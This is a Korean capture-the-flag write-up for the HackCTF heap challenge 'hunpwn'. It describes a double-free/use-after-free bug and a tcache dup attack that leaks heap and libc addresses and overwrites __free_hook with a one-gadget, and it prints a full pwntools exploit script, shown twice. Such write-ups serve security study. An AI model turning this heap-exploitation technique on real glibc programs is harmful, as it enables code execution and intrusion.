pwnable/HackCTF
[pwnpwnpwn-3] HackCTF 훈폰정음
ba0bab
2020. 1. 4. 05:40
Summary
- tcache dup
Analysis
- add
- 0~6까지 총 7개 할당가능.
- 1024(0x400) 사이즈까지만 할당가능. (unsorted bin 사이즈의 할당이 불가능함. 그래서 tcache poisoning으로 size를 바꾸고 free해줘서 libc leak.)
- edit
- 값을 수정할 수 있음.
- 따로 초기화 하지 않아 delete이후에도 edit가능.
- delete
- 청크를 free해줌.
- 따로 초기화 하지 않아 double free 가능.
- check
- 청크 안에 값들을 보여줌.
Libc leak
add(0, 32, "")
delete(0)
delete(0)
check(0)
s.recvuntil(":")
heap_base=u64(s.recv(6)+"\x00\x00")-0x260
print(hex(heap_base))
edit(0, p64(heap_base+600))
add(1, 32, "")
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))
delete(0)
sleep(0.5)
check(0)
s.recvuntil(":")
s.recvuntil(":")
libc_base = u64(s.recv(6)+"\x00\x00") - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
- tcache 사이즈 할당.
- double free
- edit fd -> fd - 8위치로 (size 변경하기 위해)
- 2번 alloc
- 0x421로 변경됌.
- delete(0) -> unsorted bin에 들어감.
- main_arena + 88 leak 가능.
Exploit
익스하다보면 결론적으로는 0~6개 모두 사용하게 돼서 malloc 실행을 못함.
그래서 __malloc_hook
말고 __free_hook
을 덮음. exit 내부 덮어도 따여짐.
tcache bin
은 fastbin
과 다르게 size검사 루틴이 빠졌기 때문에 __malloc_hook-35
를 덮거나 하는 행위는 안해도 됨!
또한 tcache bin
의 fd나 bk는 헤더를 가르키고 있지 않고 청크 데이터를 가르키고 있음.
그냥 바로 __free_hook
주소 fd에 적어주면 됨.
덮는 과정을 요약하면 leak하는 과정과 비슷하게
tcache dup 하면 됨.
dfb를 통해 재할당시 두 청크의 포인터를 같게 해주고
fd를 __free_hook
의 주소로 변경한 뒤
__free_hook
에 할당해주고 edit을 통해 one_shot
적어주면 끝.
from pwn import *
s = process("hunpwn")
#context.log_level = 'debug'
def add(idx, size, content):
s.sendlineafter(">> ", "1")
s.sendlineafter("\n", str(idx))
s.sendlineafter("\n", str(size))
s.sendlineafter("\n", content)
def edit(idx, content):
s.sendlineafter(">> ", "2")
s.sendlineafter("\n", str(idx))
s.sendlineafter("\n", content)
def delete(idx):
s.sendlineafter(">> ", "3")
s.sendlineafter("\n", str(idx))
def check(idx):
s.sendlineafter(">> ", "4")
s.sendlineafter("\n", str(idx))
add(0, 32, "")
delete(0)
delete(0)
check(0)
s.recvuntil(":")
heap_base=u64(s.recv(6)+"\x00\x00")-0x260
print(hex(heap_base))
edit(0, p64(heap_base+600))
add(1, 32, "")
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))
delete(0)
sleep(0.5)
check(0)
s.recvuntil(":")
s.recvuntil(":")
libc_base = u64(s.recv(6)+"\x00\x00") - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
edit(2, p64(0x410))
add(4, 1024, "")
delete(4)
delete(4)
edit(4, p64(free_hook))
add(5, 1024, "")
add(6, 1024, "")
edit(6, p64(magic))
delete(6)
s.interactive()